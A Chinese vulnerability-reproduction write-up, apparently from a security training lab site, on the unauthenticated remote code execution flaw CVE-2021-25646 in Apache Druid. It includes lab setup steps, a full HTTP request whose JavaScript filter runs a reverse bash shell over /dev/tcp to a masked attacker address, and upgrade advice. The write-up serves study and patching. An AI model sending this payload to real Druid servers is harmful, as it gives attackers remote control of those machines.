zoukankan      html  css  js  c++  java
  • Apache druid未授权命令执行漏洞复现

    本文首发于“合天网安实验室”

    简介

    Apache Druid是一个实时分析型数据库,旨在对大型数据集进行快速的查询分析("OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。

    涉及知识点-网络安全事件 

    课程:网络安全事件(合天网安实验室)  

    “网络安全事件”这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在第一时间了解,并懂得怎么去保护自身安全为目的。

    概述

    由于Apache Druid 默认情况下缺乏授权认证,攻击者可直接构造恶意请求执行任意代码,控制服务器。

    CVE编号

    CVE-2021-25646

    影响版本

    Apache Druid < 0.20.1

    环境搭建

    这里使用0.2.0版本进行复现,下载地址:

    https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz

    下载后执行以下命令解压并启动漏洞环境。

    tar -xzvf apache-druid-0.20.0-bin.tar.gz
    cd apache-druid-0.20.0
    ./bin/start-micro-quickstart
     

    启动后服务绑定在8888端口,浏览器可以正常访问则表示环境启动成功

    漏洞复现

    设置代理后选择load data,抓取到以下包

    包内容:

    构造payload执行命令,这里做一个反弹shell的操作

    POST /druid/indexer/v1/sampler HTTP/1.1
    Host: 192.168.74.148:8888
    Content-Length: 1043
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
    Content-Type: application/json;charset=UTF-8
    Origin: http://192.168.74.148:8888
    Referer: http://192.168.74.148:8888/unified-console.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
    Connection: close
    
    
    {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xx/1234 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
     

    漏洞修复

    升级Apache Druid至0.20.1及以上版本

    参考链接

    https://f5.pm/go-57059.html
    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    Java实现 蓝桥杯 算法训练 Number Challenge(暴力)
    Java实现 蓝桥杯 算法训练 Number Challenge(暴力)
    Java实现 蓝桥杯 算法训练 Number Challenge(暴力)
    Java实现 蓝桥杯 算法训练 Rotatable Number(暴力)
    Java实现 蓝桥杯 算法训练 Rotatable Number(暴力)
    Java实现 蓝桥杯 算法训练 Rotatable Number(暴力)
    Java实现 蓝桥杯 算法训练 猴子吃包子(暴力)
    Java实现 蓝桥杯 算法训练 猴子吃包子(暴力)
    Java实现 蓝桥杯 算法训练 猴子吃包子(暴力)
    Python位运算符
  • 原文地址:https://www.cnblogs.com/hetianlab/p/14366826.html
Copyright © 2011-2022 走看看